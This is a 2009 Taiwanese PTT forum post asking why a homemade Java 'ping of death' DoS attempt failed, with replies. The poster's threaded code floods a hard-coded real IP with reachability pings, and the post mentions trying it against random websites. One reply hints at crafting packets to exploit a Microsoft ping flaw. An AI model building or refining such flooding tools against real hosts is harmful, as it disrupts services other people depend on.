作者Hitmear (屍殌化液)
看板java
標題[問題] DoS的概念in JAVA
時間Fri May 15 23:47:53 2009
最近在做JAVA網路程式的練習
這次寫了一個滿有趣的東西,利用JAVA來模擬PING
既然可以模擬PING,那不知道可不可以實作PING TO DEATH的DoS攻擊
所以把他變成一條執行緒,然後透過大量NEW這個CLASS
應該就可以產生大量獨立作業的PING機器人
但是,實際上使用發現「沒有效果」!?
試過許許多多的網站都沒有達到DoS的效果
別說給他當機好了,就連塞住都沒有!?
請問是概念錯了嗎?還是方法不好?
大家一起討論一下吧~
下面附上部分CODE
p.s 那個IP是隨便找的
然後註解的部分是看呼叫系統指令會不會好一點
結果反而是我自己被DoS掉了......
class Attacker extends Thread{
int num = 500;
public void run(){
for(int i=0; i<num; i++){
try {
InetAddress address = InetAddress.getByName("202.102.188.49");
address.isReachable(100);
//Process process = Runtime.getRuntime().exec("ping " + "208.113.148.190");
} catch (UnknownHostException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
--
一片春愁待酒澆,江上舟搖,樓上簾招。秋娘渡與泰娘橋,風又飄飄,雨又蕭蕭。
何時歸家洗客袍,銀字笙調,心字香燒。流光容易把人拋,紅了櫻桃,綠了芭蕉。
--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 118.168.136.159
推 TonyQ:你把 server 想得太脆弱了 -_- 05/16 00:00
→ Hitmear:那如果不是那種大SERVER,只是架在PC的會有用嗎? 05/16 00:10
推 qrtt1:你可以先玩 jmeter 啊 05/16 00:21
推 benqm300:通常都會檔,google很強,可以分辨你是不是用瀏覽器連 05/16 02:01
推 xam:你這大概已經是五年前的技倆了 05/16 03:52
推 gangi:太弱+1 當時的dns root無法全部打下來就是僵屍不夠多 05/16 08:27
→ gangi:如果站沒有辨視 又被你打下代表那麼站窮爆了 雖然微軟確實 05/16 08:29
→ gangi:有ping的漏洞... 建議修改封包 以M$為對象的話或許可以 05/16 08:31
推 gangi:說白一點好了 M$有個洞 可以用50臺以下的機器ping爆 05/16 08:35
→ now99:IP 換一下 05/16 10:34